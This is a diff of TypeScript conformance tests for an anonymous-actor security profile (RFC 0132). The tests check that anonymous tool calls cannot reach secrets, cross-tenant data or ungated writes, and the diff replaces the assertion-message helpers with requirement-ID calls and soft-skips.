- driver.describe('SECURITY anon-actor-no-secret-reach', 'an anon tool call MUST NOT surface secret/BYOK material'),
40
+ req('openwop.it.anonymous-actor-no-secret-reach.a-read-tier-anon-tool-call-never-surfaces-a-planted-byok-canary', 'SECURITY anon-actor-no-secret-reach', 'an anon tool call MUST NOT surface secret/BYOK material'),
40
41
  ).toBe(false);
41
42
  });
42
43
 
@@ -50,7 +51,7 @@ describe('anonymous-actor-no-secret-reach (RFC 0132 §C.2/§C.3)', () => {
50
51
  // one non-conformant behavior is resolving/returning the caller's tenant.
51
52
  const CROSS = 'other-tenant';
52
53
  const res = await anonDispatch({ tool: 'catalog.read', args: { tenant: CROSS } });
53
- if (res.status === 404 || res.status === 405) return; // seam unwired — soft-skip
54
+ if (res.status === 404 || res.status === 405) return softSkip('blocked', 'precondition not met — `res.status === 404 || res.status === 405` returned early (seam unwired — soft-skip) (seam, prior step, or fixture unavailable)'); // seam unwired — soft-skip
54
55
  const decided = res.json?.authorizationDecided?.payload;
55
56
  const deniedByDecision = decided?.allowed === false;
56
57
  const deniedByStatus = res.status === 403 || res.status === 404;
@@ -61,7 +62,7 @@ describe('anonymous-actor-no-secret-reach (RFC 0132 §C.2/§C.3)', () => {
61
62
  typeof resolvedTenant === 'string' && resolvedTenant.length > 0 && resolvedTenant !== CROSS;
62
63
  expect(
63
64
  deniedByDecision || deniedByStatus || neutralizedToSurface,
64
- driver.describe(
65
+ req('openwop.it.anonymous-actor-no-secret-reach.a-cross-tenant-read-fails-closed-the-caller-supplied-tenant-is-never-resolved',
65
66
  'SECURITY anon-actor-no-secret-reach (CTI-1 / RFC 0132 §A.2)',
66
67
  'a cross-tenant anon read MUST fail closed — denied, or the caller-supplied tenant ignored (never resolved to the caller’s tenant)',
67
68
  ),
@@ -71,7 +72,7 @@ describe('anonymous-actor-no-secret-reach (RFC 0132 §C.2/§C.3)', () => {
71
72
  if (deniedByDecision || deniedByStatus) {
72
73
  expect(
73
74
  res.json?.result,
74
- driver.describe('SECURITY anon-actor-no-secret-reach (CTI-1)', 'a denied cross-tenant anon read MUST NOT return data'),
75
+ req('openwop.it.anonymous-actor-no-secret-reach.a-cross-tenant-read-fails-closed-the-caller-supplied-tenant-is-never-resolved', 'SECURITY anon-actor-no-secret-reach (CTI-1)', 'a denied cross-tenant anon read MUST NOT return data'),
75
76
  ).toBeUndefined();
76
77
  }
77
78
  });
@@ -34,9 +34,7 @@ import { join } from 'node:path';
34
34
  import Ajv2020 from 'ajv/dist/2020.js';
35
35
  import addFormats from 'ajv-formats';
36
36
  import { SCHEMAS_DIR } from '../lib/paths.js';
37
-
38
- /** Server-free assertion-message helper (mirrors driver.describe without OPENWOP_BASE_URL). */
39
- const why = (specRef: string, requirement: string): string => `${specRef} — ${requirement}`;
37
+ import { req } from '../lib/requirement-ids.js';
40
38
 
41
39
  function loadSchema(name: string): Record<string, unknown> {
42
40
  return JSON.parse(readFileSync(join(SCHEMAS_DIR, name), 'utf8')) as Record<string, unknown>;
@@ -50,12 +48,12 @@ describe('anonymous-actor-shape: capability advertisement (RFC 0132 §B, server-
50
48
  it('the capabilities schema declares anonymousActor with its sub-flags', () => {
51
49
  expect(
52
50
  anon,
53
- why('capabilities.md §anonymousActor', 'capabilities.anonymousActor MUST be declared'),
51
+ req('openwop.it.anonymous-actor-shape.the-capabilities-schema-declares-anonymousactor-with-its-sub-flags', 'capabilities.md §anonymousActor', 'capabilities.anonymousActor MUST be declared'),
54
52
  ).toBeDefined();
55
53
  for (const flag of ['supported', 'tiers', 'writeEgressControls', 'failClosed']) {
56
54
  expect(
57
55
  anon?.properties?.[flag],
58
- why('capabilities.md §anonymousActor', `anonymousActor.${flag} MUST be declared`),
56
+ req('openwop.it.anonymous-actor-shape.the-capabilities-schema-declares-anonymousactor-with-its-sub-flags', 'capabilities.md §anonymousActor', `anonymousActor.${flag} MUST be declared`),
59
57
  ).toBeDefined();
60
58
  }
61
59
  });
@@ -68,7 +66,7 @@ describe('anonymous-actor-shape: capability advertisement (RFC 0132 §B, server-
68
66
  // Positive — read-only tier.
69
67
  expect(
70
68
  validate({ supported: true, tiers: ['read'], failClosed: true }),
71
- why('RFC 0132 §B', 'a conforming read-tier advert MUST validate'),
69
+ req('openwop.it.anonymous-actor-shape.validates-conforming-read-bounded-write-egress-adverts-and-rejects-the-negatives', 'RFC 0132 §B', 'a conforming read-tier advert MUST validate'),
72
70
  ).toBe(true);
73
71
  // Positive — bounded-write-egress tier with a mandatory control.
74
72
  expect(
@@ -78,33 +76,33 @@ describe('anonymous-actor-shape: capability advertisement (RFC 0132 §B, server-
78
76
  writeEgressControls: ['hitl'],
79
77
  failClosed: true,
80
78
  }),
81
- why('RFC 0132 §B', 'a bounded-write-egress advert with a control MUST validate'),
79
+ req('openwop.it.anonymous-actor-shape.validates-conforming-read-bounded-write-egress-adverts-and-rejects-the-negatives', 'RFC 0132 §B', 'a bounded-write-egress advert with a control MUST validate'),
82
80
  ).toBe(true);
83
81
 
84
82
  // Negative — empty tiers (minItems: 1).
85
83
  expect(
86
84
  validate({ supported: true, tiers: [] }),
87
- why('RFC 0132 §B', 'tiers: [] MUST be rejected (minItems)'),
85
+ req('openwop.it.anonymous-actor-shape.validates-conforming-read-bounded-write-egress-adverts-and-rejects-the-negatives', 'RFC 0132 §B', 'tiers: [] MUST be rejected (minItems)'),
88
86
  ).toBe(false);
89
87
  // Negative — write tier without a control (the §B.2 conditional-MUST).
90
88
  expect(
91
89
  validate({ supported: true, tiers: ['bounded-write-egress'] }),
92
- why('RFC 0132 §B.2', 'bounded-write-egress without writeEgressControls MUST be rejected'),
90
+ req('openwop.it.anonymous-actor-shape.validates-conforming-read-bounded-write-egress-adverts-and-rejects-the-negatives', 'RFC 0132 §B.2', 'bounded-write-egress without writeEgressControls MUST be rejected'),
93
91
  ).toBe(false);
94
92
  // Negative — controls advertised without the write tier (§B.2 else branch).
95
93
  expect(
96
94
  validate({ supported: true, tiers: ['read'], writeEgressControls: ['hitl'] }),
97
- why('RFC 0132 §B.2', 'writeEgressControls without the write tier MUST be rejected'),
95
+ req('openwop.it.anonymous-actor-shape.validates-conforming-read-bounded-write-egress-adverts-and-rejects-the-negatives', 'RFC 0132 §B.2', 'writeEgressControls without the write tier MUST be rejected'),
98
96
  ).toBe(false);
99
97
  // Negative — supported: false (the block is omitted when unsupported, const: true).
100
98
  expect(
101
99
  validate({ supported: false, tiers: ['read'] }),
102
- why('RFC 0132 §B', 'supported: false MUST be rejected (const: true — omit the block instead)'),
100
+ req('openwop.it.anonymous-actor-shape.validates-conforming-read-bounded-write-egress-adverts-and-rejects-the-negatives', 'RFC 0132 §B', 'supported: false MUST be rejected (const: true — omit the block instead)'),
103
101
  ).toBe(false);
104
102
  // Negative — unknown property (additionalProperties: false).
105
103
  expect(
106
104
  validate({ supported: true, tiers: ['read'], surface: 'wgt_abc' }),
107
- why('RFC 0132 §B', 'an unknown property MUST be rejected (additionalProperties: false)'),
105
+ req('openwop.it.anonymous-actor-shape.validates-conforming-read-bounded-write-egress-adverts-and-rejects-the-negatives', 'RFC 0132 §B', 'an unknown property MUST be rejected (additionalProperties: false)'),
108
106
  ).toBe(false);
109
107
  });
110
108
  });
@@ -122,16 +120,16 @@ describe('anonymous-actor-shape: owner.principalKind (RFC 0132 §A, server-free)
122
120
  const validate = ajv.compile(owner);
123
121
  expect(
124
122
  validate({ tenant: 'acme', principal: 'anon:sess-3f9c', principalKind: 'anonymous' }),
125
- why('RFC 0132 §A', 'owner.principalKind "anonymous" MUST validate'),
123
+ req('openwop.it.anonymous-actor-shape.run-snapshot-owner-accepts-principalkind-anonymous-and-rejects-guest', 'RFC 0132 §A', 'owner.principalKind "anonymous" MUST validate'),
126
124
  ).toBe(true);
127
125
  // Absent principalKind is today's RFC 0048 behavior — still valid.
128
126
  expect(
129
127
  validate({ tenant: 'acme', principal: 'u_42' }),
130
- why('RFC 0048', 'owner without principalKind MUST still validate'),
128
+ req('openwop.it.anonymous-actor-shape.run-snapshot-owner-accepts-principalkind-anonymous-and-rejects-guest', 'RFC 0048', 'owner without principalKind MUST still validate'),
131
129
  ).toBe(true);
132
130
  expect(
133
131
  validate({ tenant: 'acme', principalKind: 'guest' }),
134
- why('RFC 0132 §A', 'owner.principalKind "guest" MUST be rejected (enum)'),
132
+ req('openwop.it.anonymous-actor-shape.run-snapshot-owner-accepts-principalkind-anonymous-and-rejects-guest', 'RFC 0132 §A', 'owner.principalKind "guest" MUST be rejected (enum)'),
135
133
  ).toBe(false);
136
134
  });
137
135
  });
@@ -145,7 +143,7 @@ describe('anonymous-actor-shape: audit reuses authorization.decided (RFC 0132 §
145
143
  const decided = ajv.getSchema('payloads#/$defs/authorizationDecided');
146
144
 
147
145
  it('a content-free anon grant + deny record validates against the existing $def', () => {
148
- expect(decided, 'the authorizationDecided $def MUST exist (no new event minted)').toBeTruthy();
146
+ expect(decided, req('openwop.it.anonymous-actor-shape.a-content-free-anon-grant-deny-record-validates-against-the-existing-def', 'RFC 0132', 'the authorizationDecided $def MUST exist (no new event minted)')).toBeTruthy();
149
147
  // Grant — the §G positive example.
150
148
  expect(
151
149
  decided!({
@@ -155,7 +153,7 @@ describe('anonymous-actor-shape: audit reuses authorization.decided (RFC 0132 §
155
153
  allowed: true,
156
154
  reason: 'anon-granted',
157
155
  }),
158
- why('RFC 0132 §D', 'a conforming anon grant record MUST validate'),
156
+ req('openwop.it.anonymous-actor-shape.a-content-free-anon-grant-deny-record-validates-against-the-existing-def', 'RFC 0132 §D', 'a conforming anon grant record MUST validate'),
159
157
  ).toBe(true);
160
158
  // Deny — a not-granted tool.
161
159
  expect(
@@ -166,13 +164,13 @@ describe('anonymous-actor-shape: audit reuses authorization.decided (RFC 0132 §
166
164
  allowed: false,
167
165
  reason: 'anon-not-granted',
168
166
  }),
169
- why('RFC 0132 §D', 'a conforming anon deny record MUST validate'),
167
+ req('openwop.it.anonymous-actor-shape.a-content-free-anon-grant-deny-record-validates-against-the-existing-def', 'RFC 0132 §D', 'a conforming anon deny record MUST validate'),
170
168
  ).toBe(true);
171
169
  });
172
170
 
173
171
  it('authorization.decided is in the RunEventType enum (the reused audit event)', () => {
174
172
  const runEvent = loadSchema('run-event.schema.json');
175
173
  const enumVals = (runEvent.$defs as Record<string, { enum?: string[] }>).RunEventType?.enum ?? [];
176
- expect(enumVals).toContain('authorization.decided');
174
+ expect(enumVals, req('openwop.it.anonymous-actor-shape.authorization-decided-is-in-the-runeventtype-enum-the-reused-audit-event', 'RFC 0132', 'authorization.decided is in the RunEventType enum (the reused audit event)')).toContain('authorization.decided');
177
175
  });
178
176
  });
@@ -22,8 +22,9 @@
22
22
 
23
23
  import { describe, it, expect } from 'vitest';
24
24
  import { behaviorGate } from '../lib/behavior-gate.js';
25
- import { driver } from '../lib/driver.js';
26
25
  import { readAnonymousActorCap, anonDispatch } from '../lib/anonymousActor.js';
26
+ import { req } from '../lib/requirement-ids.js';
27
+ import { softSkip } from '../lib/soft-skip.js';
27
28
 
28
29
  const PROFILE = 'openwop-anonymous-actor';
29
30
 
@@ -34,7 +35,7 @@ describe('anonymous-actor-write-gated (RFC 0132 §C.3)', () => {
34
35
  if (!behaviorGate(PROFILE, cap?.supported === true && supportsWrite)) return;
35
36
 
36
37
  const res = await anonDispatch({ tool: 'lead.capture', args: { email: 'visitor@example.com' } });
37
- if (res.status === 404 || res.status === 405) return; // seam unwired — soft-skip
38
+ if (res.status === 404 || res.status === 405) return softSkip('blocked', 'precondition not met — `res.status === 404 || res.status === 405` returned early (seam unwired — soft-skip) (seam, prior step, or fixture unavailable)'); // seam unwired — soft-skip
38
39
 
39
40
  const controls = cap?.writeEgressControls ?? [];
40
41
  const decided = res.json?.authorizationDecided?.payload;
@@ -44,11 +45,11 @@ describe('anonymous-actor-write-gated (RFC 0132 §C.3)', () => {
44
45
  // With a HITL control the write MUST suspend on an approval interrupt before durable write.
45
46
  expect(
46
47
  suspended,
47
- driver.describe('RFC 0132 §C.3 (hitl)', 'an anon bounded-write MUST suspend on an approval interrupt before the write'),
48
+ req('openwop.it.anonymous-actor-write-gated.an-anon-bounded-write-tool-is-gated-denied-when-ungated-or-suspends-on-an-approv', 'RFC 0132 §C.3 (hitl)', 'an anon bounded-write MUST suspend on an approval interrupt before the write'),
48
49
  ).toBe(true);
49
50
  expect(
50
51
  res.json?.result,
51
- driver.describe('RFC 0132 §C.3 (hitl)', 'no durable write result before the approval resolves'),
52
+ req('openwop.it.anonymous-actor-write-gated.an-anon-bounded-write-tool-is-gated-denied-when-ungated-or-suspends-on-an-approv', 'RFC 0132 §C.3 (hitl)', 'no durable write result before the approval resolves'),
52
53
  ).toBeUndefined();
53
54
  } else {
54
55
  // With only a rate-limit/session-cap control, the seam surfaces a gate; an
@@ -56,7 +57,7 @@ describe('anonymous-actor-write-gated (RFC 0132 §C.3)', () => {
56
57
  const gatedOrDenied = suspended || decided?.allowed === false || res.status === 429;
57
58
  expect(
58
59
  gatedOrDenied,
59
- driver.describe('SECURITY anon-actor-write-egress-gated', 'an anon bounded-write MUST be gated — an ungated write MUST be denied'),
60
+ req('openwop.it.anonymous-actor-write-gated.an-anon-bounded-write-tool-is-gated-denied-when-ungated-or-suspends-on-an-approv', 'SECURITY anon-actor-write-egress-gated', 'an anon bounded-write MUST be gated — an ungated write MUST be denied'),
60
61
  ).toBe(true);
61
62
  }
62
63
  });
@@ -67,16 +68,16 @@ describe('anonymous-actor-write-gated (RFC 0132 §C.3)', () => {
67
68
  if (!behaviorGate(PROFILE, cap?.supported === true && supportsWrite)) return;
68
69
  // Probe a surface deliberately configured with a write grant but no control.
69
70
  const res = await anonDispatch({ tool: 'lead.capture', surface: 'sample-uncontrolled-surface' });
70
- if (res.status === 404 || res.status === 405) return; // seam unwired / surface absent — soft-skip
71
+ if (res.status === 404 || res.status === 405) return softSkip('blocked', 'precondition not met — `res.status === 404 || res.status === 405` returned early (seam unwired / surface absent — soft-skip) (seam, prior step, or fixture unavailable)'); // seam unwired / surface absent — soft-skip
71
72
  const decided = res.json?.authorizationDecided?.payload;
72
73
  expect(
73
74
  decided?.allowed === false || res.status === 403 || res.status === 429,
74
- driver.describe('SECURITY anon-actor-write-egress-gated', 'an anon write with no resolvable control MUST be denied'),
75
+ req('openwop.it.anonymous-actor-write-gated.an-anon-write-with-no-resolvable-control-is-denied-with-a-machine-reason', 'SECURITY anon-actor-write-egress-gated', 'an anon write with no resolvable control MUST be denied'),
75
76
  ).toBe(true);
76
77
  if (decided && decided.allowed === false) {
77
78
  expect(
78
79
  decided.reason,
79
- driver.describe('RFC 0132 §C.3', 'an ungated anon write denial carries a machine reason'),
80
+ req('openwop.it.anonymous-actor-write-gated.an-anon-write-with-no-resolvable-control-is-denied-with-a-machine-reason', 'RFC 0132 §C.3', 'an ungated anon write denial carries a machine reason'),
80
81
  ).toBe('anon-write-ungated');
81
82
  }
82
83
  });